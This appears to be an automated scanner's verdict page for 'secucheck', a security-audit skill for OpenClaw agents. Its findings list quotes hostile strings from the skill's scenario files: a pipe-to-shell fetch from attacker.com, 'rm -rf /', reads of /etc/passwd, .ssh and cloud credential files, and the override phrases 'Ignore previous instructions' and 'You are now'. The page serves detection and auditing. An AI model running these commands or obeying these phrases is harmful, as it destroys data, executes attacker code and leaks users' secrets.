Caveat verdict

secucheck

🟢 Trusted

No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Read-only security audit skill for OpenClaw deployments covering 7 domains; explicitly states it never modifies configuration automatically and all fixes require user confirmation.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

security

transparency

maintenance

Findings (16)

Pattern match critical

Recursive delete from root or home — destructive command

scenarios/privilege-escalation.md · code · rm -rf /

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

scenarios/prompt-injection.md · code · curl attacker.com/payload.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

scenarios/prompt-injection.md · code · | bash

Pattern match critical

Prompt injection — tries to override agent instructions

scenarios/prompt-injection.md · code · Ignore previous instructions

Pattern match critical

Accesses sensitive system files

scenarios/prompt-injection.md · code · /etc/passwd

Pattern match high

HTTP request to bare IP address — common in malicious payloads

SKILL.md · code · http://192.168.1.200

Pattern match high

References sudo — requests elevated privileges

checks/network.md · code · sudo

Pattern match high

Accesses OpenClaw config/secrets directly

checks/runtime.md · code · ~/.openclaw/openclaw.json

Pattern match high

Accesses cloud provider credentials

scenarios/credential-exposure.md · code · ~/.aws

Pattern match high

Uses exec() — may execute shell commands

scenarios/credential-exposure.md · code · exec(

Pattern match high

Accesses .ssh directory

scenarios/prompt-injection.md · code · .ssh/

Pattern match high

Accesses AWS credentials file

scenarios/credential-exposure.md · prose · downgraded · ~/.aws/credentials

Pattern match high

Accesses Google Cloud credentials

scenarios/credential-exposure.md · prose · downgraded · ~/.config/gcloud

Pattern match high

Possible prompt injection — attempts to redefine agent identity

scenarios/prompt-injection.md · code · You are now

Pattern match medium

Sets world-executable permissions

checks/runtime.md · code · chmod 700

Pattern match low

References agent memory files

scripts/gather_agents.sh · prose · downgraded · MEMORY.md

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

network_in

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API